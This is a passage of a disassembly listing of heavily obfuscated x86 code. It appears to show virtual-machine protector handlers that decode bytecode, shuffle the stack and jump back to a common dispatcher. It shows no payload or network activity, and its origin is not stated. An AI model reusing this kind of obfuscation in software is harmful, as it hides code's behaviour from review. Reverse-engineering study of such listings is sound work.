CODE XREF: sub_580566+B664j xor esi, 21620212h add ecx, esi jmp $+5 pop esi add ecx, 4 xchg ecx, [esp-8+arg_4] pop esp xchg ebx, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] xor byte ptr [esp-0Ch+arg_8], al pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_589110: ; DATA XREF: sub_580566+3EBAo neg byte ptr [esp-30h+arg_28] pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_589119: ; CODE XREF: sub_580566+7EBEj mov edi, [esp+0] add esp, 4 sub edx, 6BE43D75h sub edx, 676F5841h add edx, eax add edx, 676F5841h jmp loc_58C294 ; --------------------------------------------------------------------------- loc_589138: ; CODE XREF: sub_580566+95B9j pop esp add ebx, 2 xchg ebx, [esp-0Ah+arg_4+2] jmp loc_586097 ; --------------------------------------------------------------------------- loc_589147: ; CODE XREF: sub_580566+A164j add ebp, 405F3901h mov edx, [esp-0Ah+arg_4+2] add esp, 4 sub ebp, 4 jmp loc_586746 ; --------------------------------------------------------------------------- loc_58915E: ; CODE XREF: sub_580566+DC05j sub ecx, 0BB210765h mov esi, ecx pop ecx mov edi, esi pop esi jmp loc_58F1C0 ; --------------------------------------------------------------------------- loc_58916F: ; CODE XREF: sub_580566+B824j add ebx, eax pop eax add ebx, 2 xchg ebx, [esp-1Ah+arg_12] jmp loc_584F62 ; --------------------------------------------------------------------------- loc_58917D: ; CODE XREF: sub_580566+4266j xor [esp+4+var_4], edx xor edx, [esp+4+var_4] mov esp, [esp+4+var_4] mov [esp+4+var_4], eax jmp loc_584473 ; --------------------------------------------------------------------------- loc_58918E: ; CODE XREF: sub_580566+BB32j add ebp, 4 add ebp, 4 jmp loc_58C8FC ; --------------------------------------------------------------------------- loc_58919C: ; CODE XREF: sub_580566+F056j jmp loc_584473 ; --------------------------------------------------------------------------- loc_5891A1: ; CODE XREF: sub_580566+B89Cj push [esp+4+var_4] jmp loc_58E857 ; --------------------------------------------------------------------------- loc_5891A9: ; CODE XREF: sub_580566+E884j push [esp+8+var_8] pop eax add esp, 4 push esi mov esi, 3D772706h sub eax, esi mov esi, [esp+8+var_8] add esp, 4 jmp loc_586D48 ; --------------------------------------------------------------------------- loc_5891C3: ; CODE XREF: sub_580566+400Ej ; sub_580566+6D07j ... sub esp, 4 mov [esp-2Ch+arg_24], ebx mov eax, [esp-2Ch+arg_24] push eax sub esp, 4 jmp loc_58D3DE ; --------------------------------------------------------------------------- loc_5891D5: ; CODE XREF: sub_580566+8ADDj mov esi, 593C69ABh jmp loc_5905BA ; --------------------------------------------------------------------------- loc_5891DF: ; CODE XREF: sub_580566+E967j add edi, 4 xchg edi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] push dx push eax mov al, 0F0h mov dl, al pop eax push ebx mov bl, 8Fh xor dl, bl pop ebx jmp loc_589835 ; --------------------------------------------------------------------------- loc_5891FE: ; CODE XREF: sub_580566+B2CFj add esp, 4 pop ecx neg dl add dl, 38h sub al, 0D9h sub al, dl push ebx mov bh, 0B3h jmp loc_589EA2 ; --------------------------------------------------------------------------- loc_589213: ; CODE XREF: sub_580566+92F4j jmp loc_584473 ; --------------------------------------------------------------------------- loc_589218: ; CODE XREF: sub_580566+8B3Aj add esp, 4 jmp loc_58A2A4 ; --------------------------------------------------------------------------- loc_589220: ; CODE XREF: sub_580566+4503j add esp, 4 jmp loc_58D53F ; --------------------------------------------------------------------------- loc_589228: ; CODE XREF: sub_580566+4A52j mov ebp, 7F7C87B6h mov edx, ebp pop ebp add eax, 0A4334F5h jmp loc_58A9F9 ; --------------------------------------------------------------------------- loc_58923A: ; CODE XREF: sub_580566+68B7j push eax jmp loc_58D728 ; --------------------------------------------------------------------------- loc_589240: ; CODE XREF: sub_580566+970Ej mov [esp-2Ch+arg_24], ecx mov ch, 1 push eax mov ah, 88h shl ah, 5 or ah, 0F2h inc ah dec ah shr ah, 2 jmp loc_585EE6 ; --------------------------------------------------------------------------- loc_58925A: ; DATA XREF: sub_580566+3CAAo mov cx, [esp+0] sub esp, 4 mov [esp+0], ebx push 1237h mov [esp+4+var_4], esp add [esp+4+var_4], 4 mov ebx, [esp+4+var_4] add esp, 4 push ecx jmp loc_58F327 ; --------------------------------------------------------------------------- loc_58927F: ; CODE XREF: sub_580566+D0B4j push ebx xchg ebx, [esp+8+var_8] jmp loc_58BC73 ; --------------------------------------------------------------------------- loc_589288: ; CODE XREF: sub_580566+6553j push esi jmp loc_58B997 ; --------------------------------------------------------------------------- loc_58928E: ; CODE XREF: sub_580566+8192j shl ecx, 1 and ecx, 27824D49h dec ecx not ecx push ebx mov ebx, 7F1048F5h shr ebx, 7 neg ebx xor ebx, 2BE03541h neg ebx push ecx mov ecx, 21AC02A1h xor ebx, ecx pop ecx jmp loc_588F0A ; --------------------------------------------------------------------------- loc_5892BA: ; CODE XREF: sub_580566+6D31j xor edi, [esp-18h+arg_E+2] jmp loc_58450E ; --------------------------------------------------------------------------- loc_5892C2: ; CODE XREF: sub_580566+DC2Aj and ecx, ebp mov ebp, [esp-18h+arg_E+2] jmp loc_584AEF ; --------------------------------------------------------------------------- loc_5892CC: ; CODE XREF: sub_580566+FD58j mov [esp-18h+arg_E+2], eax push ebx push edi mov edi, 7B070BBCh mov ebx, edi pop edi jmp loc_58CD24 ; --------------------------------------------------------------------------- loc_5892DE: ; CODE XREF: sub_580566+DB83j mov [esp-14h+arg_A+2], eax jmp loc_584E49 ; --------------------------------------------------------------------------- loc_5892E6: ; CODE XREF: sub_580566+7108j mov edi, 4 add ebp, 11A3363Ah add ebp, 1351641Fh add ebp, edi sub ebp, 1351641Fh sub ebp, 11A3363Ah mov edi, [esp-28h+arg_20] add esp, 4 xchg ebp, [esp-2Ch+arg_24] jmp loc_58C5DD ; --------------------------------------------------------------------------- loc_589316: ; DATA XREF: sub_580566+3D8Eo mov ax, word ptr [esp-30h+arg_28] push edi sub esp, 4 mov [esp-28h+arg_20], esp jmp loc_586652 ; --------------------------------------------------------------------------- loc_589326: ; DATA XREF: sub_580566+3C62o mov ax, [esp+0] push 6BABh mov [esp+0], edx push 37ADh mov [esp+4+var_4], esp add [esp+4+var_4], 4 push [esp+4+var_4] jmp loc_58C3F9 ; --------------------------------------------------------------------------- loc_589349: ; CODE XREF: sub_580566+981Fj push esp pop edx add edx, 4 add edx, 4 xor edx, [esp+8+var_8] jmp loc_58C087 ; --------------------------------------------------------------------------- loc_58935F: ; CODE XREF: sub_580566+FAABj push [esp+8+var_8] jmp loc_58E726 ; --------------------------------------------------------------------------- loc_589367: ; CODE XREF: sub_580566+9472j pop ebp or eax, eax jz loc_59006F push dword ptr [edi+1Ch] push [esp+0Ch+var_C] mov ecx, [esp+10h+var_10] add esp, 4 sub esp, 4 mov [esp+10h+var_10], esi mov esi, esp push ebx mov ebx, 3D5D00D5h sub ebx, 4DF03724h or ebx, 26C5556Ah jmp loc_58DB0E ; --------------------------------------------------------------------------- loc_58939B: ; CODE XREF: sub_580566+61E3j xor [esp-34h+arg_2C], ebp xor ebp, [esp-34h+arg_2C] pop esp mov [esp-38h+arg_30], edx jmp loc_584473 ; --------------------------------------------------------------------------- loc_5893AA: ; CODE XREF: sub_580566+520Fj sub esp, 4 jmp loc_584E26 ; --------------------------------------------------------------------------- loc_5893B2: ; CODE XREF: sub_580566+6628j push dword ptr [esp+4] jmp loc_58A452 ; --------------------------------------------------------------------------- loc_5893BB: ; CODE XREF: sub_580566+4BFCj push ecx jmp loc_58A5A7 ; --------------------------------------------------------------------------- loc_5893C1: ; CODE XREF: sub_580566+5A7Aj push edi mov edi, 2061933h mov ebx, edi pop edi and ecx, ebx pop ebx xor ecx, 4FD27D15h add eax, ecx pop ecx sub eax, 14521D8Eh jmp loc_587FB2 ; --------------------------------------------------------------------------- loc_5893E0: ; CODE XREF: sub_580566+70B8j mov ecx, esp add ecx, 4 jmp loc_58EE52 ; --------------------------------------------------------------------------- loc_5893ED: ; CODE XREF: sub_580566+5FB6j sub esp, 4 mov [esp-0Ch+arg_8], ebx mov ebx, 5E304C58h dec ebx push esi jmp loc_58FAA4 ; --------------------------------------------------------------------------- loc_5893FF: ; CODE XREF: sub_580566+972Ej xchg esi, [esp-8+arg_4] pop esp mov eax, [esp-0Ch+arg_8] add esp, 4 jmp loc_58DF71 ; --------------------------------------------------------------------------- loc_589411: ; CODE XREF: sub_580566+42E0j mov esi, 0FFFFFFFFh sub ebp, esi pop esi push eax mov eax, 23911EDEh shr eax, 7 jmp loc_589CF7 ; --------------------------------------------------------------------------- loc_589427: ; CODE XREF: sub_580566+D4ECj mov ax, word ptr [esp-2Eh+arg_24+2] push ebx mov ebx, esp jmp loc_58C42D ; --------------------------------------------------------------------------- loc_589433: ; CODE XREF: sub_580566+B6C3j add esi, eax mov eax, [esp-2Ah+arg_20+2] add esp, 4 add esi, 4 xchg esi, [esp-2Eh+arg_24+2] mov esp, [esp-2Eh+arg_24+2] or eax, eax jz loc_58EB11 push dword ptr [edi+1Ch] push 3FE4h mov [esp+0], edx push ecx jmp loc_58B0C7 ; --------------------------------------------------------------------------- loc_58945D: ; CODE XREF: sub_580566+A239j mov bl, ch jmp loc_58CEF5 ; --------------------------------------------------------------------------- loc_589464: ; CODE XREF: sub_580566+8F47j pop esi add ebx, 4 xchg ebx, [esp+0] pop esp shr eax, 0Ah xor eax, ecx xor eax, ebp xor ebp, eax xor eax, ebp jmp loc_5869D0 ; --------------------------------------------------------------------------- loc_58947C: ; DATA XREF: sub_580566+3C36o movzx ax, byte ptr fs:[edx] jmp loc_58E325 ; --------------------------------------------------------------------------- loc_589486: ; CODE XREF: sub_580566+5B2Cj inc esi not esi sub esi, 0A44193EAh xor edi, esi mov esi, [esp-30h+arg_28] add esp, 4 xor edi, 0A171E3F3h and eax, edi mov edi, [esp-34h+arg_2C] push ebx mov ebx, esp push esi mov esi, 4 add ebx, esi jmp loc_589464 ; --------------------------------------------------------------------------- loc_5894B2: ; CODE XREF: sub_580566+8995j xor edi, ebx pop ebx sub esi, edi mov edi, [esp+0] add esp, 4 jmp loc_587ED9 ; --------------------------------------------------------------------------- loc_5894C2: ; CODE XREF: sub_580566+4C45j push 65893135h pop ecx shl ecx, 8 dec ecx jmp loc_58D302 ; --------------------------------------------------------------------------- loc_5894D1: ; CODE XREF: sub_580566+5570j add ebx, edi mov edi, [esp+0] push edx mov edx, esp add edx, 4 jmp loc_58877B ; --------------------------------------------------------------------------- loc_5894E4: ; CODE XREF: sub_580566+FBCCj mov eax, [esp-0Ch+arg_8] jmp loc_58CF38 ; --------------------------------------------------------------------------- loc_5894EC: ; CODE XREF: sub_580566+6083j add [esp+8+var_8], 4 mov edx, [esp+8+var_8] add esp, 4 push 27DBh jmp loc_58CB33 ; --------------------------------------------------------------------------- loc_589503: ; DATA XREF: sub_580566+3C32o push dword ptr [edi+3Ch] push dword ptr [esp+0] pop eax jmp loc_589A7B ; --------------------------------------------------------------------------- loc_58950F: ; CODE XREF: sub_580566+F8DDj mov esp, [esp+0] sub [esp+0], eax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58951B: ; CODE XREF: sub_580566+909Bj mov ebx, [esp+4+var_4] jmp loc_590143 ; --------------------------------------------------------------------------- loc_589523: ; CODE XREF: sub_580566+881Dj mov edi, 11CB07DDh add edi, 0CA012D0h jmp loc_59056D ; --------------------------------------------------------------------------- loc_589533: ; CODE XREF: sub_580566+E4FCj popa popf retn ; --------------------------------------------------------------------------- jmp loc_584473 ; --------------------------------------------------------------------------- loc_58953B: ; CODE XREF: sub_580566+60BEj pop esi jmp loc_58D91F ; --------------------------------------------------------------------------- loc_589541: ; CODE XREF: sub_580566+C421j sub dl, 64h shl dl, 1 and dl, 0B1h shl dl, 3 jmp loc_586AAB ; --------------------------------------------------------------------------- loc_589551: ; CODE XREF: sub_580566+7F30j mov ebp, 0E1243A8h inc ebp shl ebp, 2 neg ebp sub ebp, 0C7B6F158h add edi, ebp pop ebp jmp loc_584D4D ; --------------------------------------------------------------------------- loc_58956A: ; DATA XREF: sub_580566+3C76o mov ax, [esp+0] push 47Bh mov [esp+0], ebx mov ebx, esp push 354Dh jmp loc_58CD09 ; --------------------------------------------------------------------------- loc_589582: ; CODE XREF: sub_580566+DD6Cj add [esp+4+var_4], 4 pop ebx add ebx, 4 add ebx, 4 xor ebx, [esp+0] jmp loc_58F173 ; --------------------------------------------------------------------------- loc_58959B: ; CODE XREF: sub_580566+9982j xor esi, 4B6707FAh push edx jmp loc_5860C2 ; --------------------------------------------------------------------------- loc_5895A7: ; CODE XREF: sub_580566+F483j add bl, 0D3h jmp loc_58522F ; --------------------------------------------------------------------------- loc_5895AF: ; CODE XREF: sub_580566+DE86j mov [esp+4+var_4], ebx push edx jmp loc_58BFA0 ; --------------------------------------------------------------------------- loc_5895B8: ; CODE XREF: sub_580566+FFCDj add esi, ecx pop ecx jmp loc_590162 ; --------------------------------------------------------------------------- loc_5895C0: ; CODE XREF: sub_580566+9739j mov [esp+4+var_4], edi jmp loc_589E00 ; --------------------------------------------------------------------------- loc_5895C8: ; CODE XREF: sub_580566+CB22j push 68C9h jmp loc_58DF1E ; --------------------------------------------------------------------------- loc_5895D2: ; DATA XREF: sub_580566+3D2Ao lodsb xor al, bl sub esp, 2 mov word ptr [esp-2Ch+arg_24], dx push 1703h mov [esp-28h+arg_20], ecx push ebx push ecx mov ch, 0A9h mov bl, ch mov ecx, [esp-20h+arg_16+2] jmp loc_5901C0 ; --------------------------------------------------------------------------- loc_5895F5: ; CODE XREF: sub_580566+76CFj sub [esp-10h+arg_A+2], ecx pop ecx pop edx add edx, 77194729h jmp loc_58951B ; --------------------------------------------------------------------------- loc_589606: ; CODE XREF: sub_580566+CEADj add esi, 4 push 7575h mov [esp-14h+arg_A+2], edx mov edx, 4 jmp loc_585A75 ; --------------------------------------------------------------------------- loc_58961E: ; CODE XREF: sub_580566+59E0j push 4D7Dh mov [esp-8+arg_4], esp add [esp-8+arg_4], 4 jmp loc_58A85F ; --------------------------------------------------------------------------- loc_58962F: ; CODE XREF: sub_580566+75B4j mov ecx, esp push edi mov edi, 109A3F35h jmp loc_58DF37 ; --------------------------------------------------------------------------- loc_58963C: ; CODE XREF: sub_580566+87A6j add ebx, ebp sub ebx, 51F81789h push [esp-0Ch+arg_8] pop ebp push eax jmp loc_587334 ; --------------------------------------------------------------------------- loc_58964E: ; CODE XREF: sub_580566+8402j pop edx xor ecx, [esp-20h+arg_16+2] xor [esp-20h+arg_16+2], ecx jmp loc_59031C ; --------------------------------------------------------------------------- loc_58965A: ; DATA XREF: sub_580566+3E82o push dword ptr [edi+1Ch] popf pop ax adc byte ptr [esp-32h+arg_28+2], al pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_589669: ; DATA XREF: sub_580566+3DDAo push [esp-30h+arg_28] push [esp-2Ch+arg_24] jmp loc_58F739 ; --------------------------------------------------------------------------- loc_589674: ; CODE XREF: sub_580566+B3B7j add esp, 2 jmp loc_588221 ; --------------------------------------------------------------------------- loc_58967C: ; DATA XREF: sub_580566+3D6Ao push [esp-30h+arg_28] push [esp-2Ch+arg_24] pop edx push edx mov edx, esp jmp loc_58A8E0 ; --------------------------------------------------------------------------- loc_58968B: ; CODE XREF: sub_580566+82AEj push esi mov esi, 2 jmp loc_58A1B8 ; --------------------------------------------------------------------------- loc_589696: ; CODE XREF: sub_580566+DDE9j mov [esp-0Eh+arg_8+2], ebp push esp mov ebp, [esp-0Ah+arg_4+2] add esp, 4 push edi mov edi, 4 jmp loc_58F789 ; --------------------------------------------------------------------------- loc_5896AB: ; CODE XREF: sub_580566+C2A6j mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_58EFBF ; --------------------------------------------------------------------------- loc_5896BB: ; CODE XREF: sub_580566+4DC9j sub esi, 72D84181h mov eax, [esp+0Ah+var_C+2] add esp, 4 push edi mov edi, 139C5F2Dh sub edi, 139C5F29h add esi, edi pop edi jmp loc_58A0B9 ; --------------------------------------------------------------------------- loc_5896DE: ; CODE XREF: sub_580566+50B9j xor eax, 81D124BFh add ecx, eax pop eax jmp loc_588888 ; --------------------------------------------------------------------------- loc_5896EB: ; CODE XREF: sub_580566+5BCCj add eax, edi sub eax, 391401F2h pop edi add eax, 4 xchg eax, [esp-44h+arg_3C] mov esp, [esp-44h+arg_3C] sub edi, 17C43413h push edi jmp loc_58656D ; --------------------------------------------------------------------------- loc_58970A: ; CODE XREF: sub_580566+EAE9j sub esp, 4 mov [esp-3Ch+arg_34], ebx push edx mov edx, 4 push edx pop ebx mov edx, [esp-38h+arg_30] jmp loc_58C194 ; --------------------------------------------------------------------------- loc_589720: ; CODE XREF: sub_580566+FBAEj sub ecx, 284C112Ch pop ebp shl ecx, 2 sub ecx, 2052E032h xor eax, ecx push [esp-3Ch+arg_34] pop ecx push ecx push esp pop ecx add ecx, 4 jmp loc_587A7F ; --------------------------------------------------------------------------- loc_589744: ; CODE XREF: sub_580566+9C34j pop ebx add ebp, 6A3D3C2Ch add ebp, 4ED33FD7h add ebp, ecx sub ebp, 4ED33FD7h push esi jmp loc_58A53E ; --------------------------------------------------------------------------- loc_58975F: ; CODE XREF: sub_580566+BE1Fj push [esp-38h+arg_30] pop edx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-34h+arg_2C] pop esp jmp loc_587B19 ; --------------------------------------------------------------------------- loc_589778: ; CODE XREF: sub_580566+56B4j mov bl, 0D5h not bl sub bl, 61h sub bl, 0C9h sub bl, 22h mov cl, bl pop ebx add dh, cl pop cx xor dh, 8Bh push eax mov al, 68h xor al, 0CFh shl al, 4 dec al push ebx mov bh, 0E8h not bh shl bh, 7 sub bh, 95h jmp loc_58E85D ; --------------------------------------------------------------------------- loc_5897A9: ; CODE XREF: sub_580566+66D0j pop ebp sub edi, 4 push 6C3Fh mov [esp+0], edi push dword ptr [esp+4] pop edi pop dword ptr [esp+0] mov esp, [esp+0] mov [esp+0], ecx mov ecx, esp add ecx, 4 push edi jmp loc_58DE6C ; --------------------------------------------------------------------------- loc_5897D1: ; CODE XREF: sub_580566+A4A7j pop ebp push dword ptr [esp+0] pop edx push 23h mov [esp+0], eax push esp pop eax add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop [esp+4+var_4] mov esp, [esp+0] jmp loc_588037 ; --------------------------------------------------------------------------- loc_5897FB: ; CODE XREF: sub_580566+EE3Fj pop ecx add esi, ebx jmp loc_585760 ; --------------------------------------------------------------------------- loc_589803: ; CODE XREF: sub_580566+B7C3j push 3492h mov [esp+0], ebp mov ebp, 0 sub ebp, edx mov edx, ebp pop ebp push edi mov edi, 56E91246h dec edi jmp loc_5869BC ; --------------------------------------------------------------------------- loc_589821: ; CODE XREF: sub_580566+68D8j sub esi, 24D655Ch shl esi, 8 jmp loc_58E7CC ; --------------------------------------------------------------------------- loc_58982F: ; CODE XREF: sub_580566+B201j push esi jmp loc_5883F0 ; --------------------------------------------------------------------------- loc_589835: ; CODE XREF: sub_580566+8C93j add bl, dl jmp loc_584768 ; --------------------------------------------------------------------------- loc_58983C: ; CODE XREF: sub_580566+8828j sub esp, 4 mov [esp-2Ch+arg_24], ecx push eax mov ah, 5Dh push edx mov dh, 3Bh xor dh, 92h xor ah, dh pop edx jmp loc_58DE20 ; --------------------------------------------------------------------------- loc_589853: ; CODE XREF: sub_580566+BEEAj inc ebp jmp loc_58D08D ; --------------------------------------------------------------------------- loc_589859: ; CODE XREF: sub_580566+9602j pop eax jmp loc_589213 ; --------------------------------------------------------------------------- loc_58985F: ; CODE XREF: sub_580566+56A0j add ebp, esi add ebp, 32C15CCh mov esi, [esp+2+var_4+2] add esp, 4 xchg ebp, [esp+0] pop esp jmp loc_585A4B ; --------------------------------------------------------------------------- loc_589879: ; CODE XREF: sub_580566+A31Ej mov [esp+0], esi push [esp-6+arg_4+2] pop esi pop dword ptr [esp+0] mov esp, [esp-0Ah+arg_4+2] movsx ecx, ax push 72E8h mov [esp+0], ecx jmp loc_584473 ; --------------------------------------------------------------------------- loc_589897: ; CODE XREF: sub_580566+E5A6j add esp, 4 jmp loc_5865DA ; --------------------------------------------------------------------------- loc_5898A2: ; CODE XREF: sub_580566+61BDj pop esi pop [esp-46h+arg_3C+2] jmp loc_58E0E1 ; --------------------------------------------------------------------------- loc_5898AB: ; CODE XREF: sub_580566+AED4j mov eax, 3A13495Bh xor ebx, eax mov eax, [esp-4Ah+arg_40+2] add esp, 4 add ebp, ebx push [esp-4Eh+arg_44+2] pop ebx add esp, 4 xchg ebp, [esp-52h+arg_48+2] pop esp shl word ptr [esp-56h+arg_4E], cl pushf jmp loc_584974 ; --------------------------------------------------------------------------- loc_5898D2: ; CODE XREF: sub_580566+7483j add esi, 4 jmp loc_586937 ; --------------------------------------------------------------------------- loc_5898DD: ; CODE XREF: sub_580566+7D6Ej add al, dl sub al, 5Eh jmp loc_586688 ; --------------------------------------------------------------------------- loc_5898E6: ; CODE XREF: sub_580566+B363j xor edi, [esp-18h+arg_E+2] xor [esp-18h+arg_E+2], edi xor edi, [esp-18h+arg_E+2] pop esp mov [esp-1Ch+arg_12+2], ebp push 76Fh push esp pop [esp-14h+arg_A+2] add [esp-18h+arg_E+2], 4 pop ebp add ebp, 4 add ebp, 4 xor ebp, [esp-1Ch+arg_12+2] xor [esp-1Ch+arg_12+2], ebp xor ebp, [esp-1Ch+arg_12+2] pop esp add esp, 4 push [esp-24h+arg_1A+2] mov eax, [esp-20h+arg_16+2] push 68DDh mov [esp-1Ch+arg_12+2], ebx push 0E0Ah jmp loc_58FA84 ; --------------------------------------------------------------------------- loc_589935: ; CODE XREF: sub_580566+C67Cj or edi, 0E71BFDh add edi, 280133EDh jmp loc_586576 ; --------------------------------------------------------------------------- loc_589946: ; DATA XREF: sub_580566+3E96o mov ax, word ptr [esp-30h+arg_28] push edi sub esp, 4 push esp pop [esp-24h+arg_1A+2] sub esp, 4 jmp loc_58B731 ; --------------------------------------------------------------------------- loc_58995D: ; CODE XREF: sub_580566+8B1Dj add edx, 2 push edx push [esp-1Ch+arg_16+2] mov edx, [esp-18h+arg_E+2] add esp, 4 pop [esp-1Ch+arg_12+2] mov esp, [esp-20h+arg_16+2] div cx push 32DAh mov [esp-1Ch+arg_12+2], edx push eax mov eax, esp push ecx mov ecx, 60BD2311h shr ecx, 8 shl ecx, 4 inc ecx sub ecx, 60BD22Dh add eax, ecx pop ecx sub eax, 4 jmp loc_58A6EE ; --------------------------------------------------------------------------- loc_58999D: ; DATA XREF: sub_580566+3E8Ao mov cx, word ptr [esp-30h+arg_28] jmp loc_58F801 ; --------------------------------------------------------------------------- loc_5899A6: ; CODE XREF: sub_580566+B881j sub esp, 4 jmp loc_58DED5 ; --------------------------------------------------------------------------- loc_5899B1: ; CODE XREF: sub_580566+47F8j mov ecx, 3E442E98h push ecx push esi push [esp-8+arg_8] pop esi pop [esp-8+arg_4] jmp loc_5870E6 ; --------------------------------------------------------------------------- loc_5899C5: ; CODE XREF: sub_580566+A48Ej xor [esp-0Ch+arg_8], eax xor eax, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] mov [esp-0Ch+arg_8], ebp mov ebp, 80000h and eax, ebp jmp loc_589367 ; --------------------------------------------------------------------------- loc_5899DD: ; CODE XREF: sub_580566+F430j mov ebp, esp jmp loc_58AD29 ; --------------------------------------------------------------------------- loc_5899E4: ; CODE XREF: sub_580566+D7BEj add esi, 4 xchg esi, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] loc_5899F0: ; CODE XREF: sub_580566+85E5j push eax mov eax, esp push edi mov edi, 7020549h sub edi, 7020545h add eax, edi pop edi sub eax, 4 xor eax, [esp-8+arg_4] xor [esp-8+arg_4], eax xor eax, [esp-8+arg_4] pop esp mov [esp-0Ch+arg_8], eax add [esp-0Ch+arg_8], 50DF29BBh mov eax, [esp-0Ch+arg_8] add esp, 4 push ecx push ebp push 19E31A5Ch jmp loc_58D815 ; --------------------------------------------------------------------------- loc_589A2D: ; CODE XREF: sub_580566+467Aj add ecx, 2DC76240h jmp loc_58F4E7 ; --------------------------------------------------------------------------- loc_589A38: ; CODE XREF: sub_580566+72C8j xchg ebx, [esp+0] pop esp xor [esp-8+arg_4], edx xor edx, [esp-8+arg_4] xor [esp-8+arg_4], edx mov eax, [esp-8+arg_4] jmp loc_58BCF1 ; --------------------------------------------------------------------------- loc_589A4D: ; CODE XREF: sub_580566+D9EAj add edi, 4 xchg edi, [esp-8+arg_4] pop esp jmp loc_58FAE9 ; --------------------------------------------------------------------------- loc_589A5C: ; CODE XREF: sub_580566+F1DDj add ebx, 4 jmp loc_58B977 ; --------------------------------------------------------------------------- loc_589A67: ; CODE XREF: sub_580566+403Dj mov edi, [esp+4+var_4] add esp, 4 add [edi+24h], edx push dword ptr [esp+0] mov edx, [esp+4+var_4] jmp loc_588B71 ; --------------------------------------------------------------------------- loc_589A7B: ; CODE XREF: sub_580566+8FA4j push 3DD4h mov [esp+4+var_4], ebx mov ebx, esp push esi push edx push esi jmp loc_5876F3 ; --------------------------------------------------------------------------- loc_589A8D: ; CODE XREF: sub_580566+B59Ej pop edx add ecx, 2 xchg ecx, [esp+0Ch+var_C] jmp loc_58D18A ; --------------------------------------------------------------------------- loc_589A9C: ; CODE XREF: sub_580566+46B1j neg esi shl esi, 4 push esi not [esp-42h+arg_38+2] pop esi shl esi, 1 not esi jmp loc_585334 ; --------------------------------------------------------------------------- loc_589AAF: ; CODE XREF: sub_580566+C4EBj shr edx, 5 shr edx, 1 dec edx xor edx, 2C5C5DFAh push edi mov edi, 2C3213ACh sub edi, 18250481h jmp loc_58A489 ; --------------------------------------------------------------------------- loc_589ACC: ; CODE XREF: sub_580566+CC7Ej pop esp jmp loc_584473 ; --------------------------------------------------------------------------- loc_589AD2: ; CODE XREF: sub_580566+8B7Ej pop edi shl ebp, 2 sub ebp, 789D77C8h add esi, ebp jmp loc_5856CB ; --------------------------------------------------------------------------- loc_589AE3: ; CODE XREF: sub_580566+B6A9j push edx push [esp-4+arg_4] jmp loc_585509 ; --------------------------------------------------------------------------- loc_589AED: ; CODE XREF: sub_580566+6327j add esp, 4 push ecx mov ecx, esp push esi jmp loc_58F1A2 ; --------------------------------------------------------------------------- loc_589AFC: ; CODE XREF: sub_580566+AD45j mov edx, 4 add ebx, edx push [esp+1Ch+var_1C] pop edx push edi mov edi, esp add edi, 4 add edi, 4 push edi push [esp+24h+var_20] pop edi pop [esp+24h+var_24] jmp loc_589138 ; --------------------------------------------------------------------------- loc_589B24: ; CODE XREF: sub_580566+A791j xor cl, dh jmp loc_587000 ; --------------------------------------------------------------------------- loc_589B2B: ; CODE XREF: sub_580566+F977j pop ecx push 704Ch mov [esp+20h+var_20], edi push 764Dh mov [esp+24h+var_24], edx mov edx, 48BE500Dh push ebp mov ebp, 56E5CE5h sub ebp, 315D1B47h and ebp, 0C690874h jmp loc_58CEAF ; --------------------------------------------------------------------------- loc_589B58: ; CODE XREF: sub_580566+6973j xchg ebp, [esp-0Ah+arg_4+2] pop esp add [esp-0Eh+arg_A], eax add [esp-0Eh+arg_A], 3E5B641Bh jmp loc_589859 ; --------------------------------------------------------------------------- loc_589B6D: ; CODE XREF: sub_580566+C447j and ecx, 2BC320CEh sub ecx, 95B4DA55h jmp loc_58B870 ; --------------------------------------------------------------------------- loc_589B7E: ; CODE XREF: sub_580566+84E6j xchg ebp, [esp-30h+arg_28] pop esp movsx cx, al jmp loc_588AAE ; --------------------------------------------------------------------------- loc_589B8B: ; CODE XREF: sub_580566+9A46j mov [esp-34h+arg_2C], eax push edi mov edi, 631653F1h xor edi, 49084C18h sub edi, 1BDE74DFh neg edi add edi, 792F726Ah jmp loc_584EFF ; --------------------------------------------------------------------------- loc_589BAD: ; CODE XREF: sub_580566+E16Bj add ebp, 7C171F8Fh shr ebp, 4 jmp loc_588568 ; --------------------------------------------------------------------------- loc_589BBB: ; CODE XREF: sub_580566+BAE5j mov [esp-30h+arg_28], eax jmp loc_58A8BB ; --------------------------------------------------------------------------- loc_589BC3: ; CODE XREF: sub_580566+E2D7j pop edi add ecx, 4 xor ecx, [esp-34h+arg_2C] jmp loc_58F3C4 ; --------------------------------------------------------------------------- loc_589BCF: ; CODE XREF: sub_580566+4EE4j xor edi, 3E303A8Ch jmp loc_58C811 ; --------------------------------------------------------------------------- loc_589BDA: ; CODE XREF: sub_580566+F9B4j add eax, 4 xchg eax, [esp-2Eh+arg_24+2] jmp loc_58D3FA ; --------------------------------------------------------------------------- loc_589BE7: ; CODE XREF: sub_580566+B159j pop ecx push ecx push eax jmp loc_58E027 ; --------------------------------------------------------------------------- loc_589BEF: ; DATA XREF: sub_580566+3D3Eo push dword ptr [edi+1Ch] popf pop ax sbb byte ptr [esp-32h+arg_28+2], al pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_589BFE: ; CODE XREF: sub_580566+C194j mov [esp-2Eh+arg_24+2], edi push eax mov eax, 3B890651h jmp loc_58A480 ; --------------------------------------------------------------------------- loc_589C0C: ; CODE XREF: sub_580566+BA23j sub [esp-2Ah+arg_20+2], 7A8D516Bh jmp loc_58A110 ; --------------------------------------------------------------------------- loc_589C18: ; CODE XREF: sub_580566+7EA4j add edx, 4 jmp loc_58FAE1 ; --------------------------------------------------------------------------- loc_589C23: ; CODE XREF: sub_580566+C113j pop esp sub eax, 72457FADh jmp loc_5870A8 ; --------------------------------------------------------------------------- loc_589C2E: ; CODE XREF: sub_580566+47CBj add dh, 0C0h add dh, 0AAh pop ebx add al, dh mov dx, word ptr [esp-20h+arg_16+2] push ebx mov ebx, esp add ebx, 4 add ebx, 2 xchg ebx, [esp-1Ch+arg_12+2] pop esp sub bl, 7 push eax mov al, 0E7h jmp loc_588D11 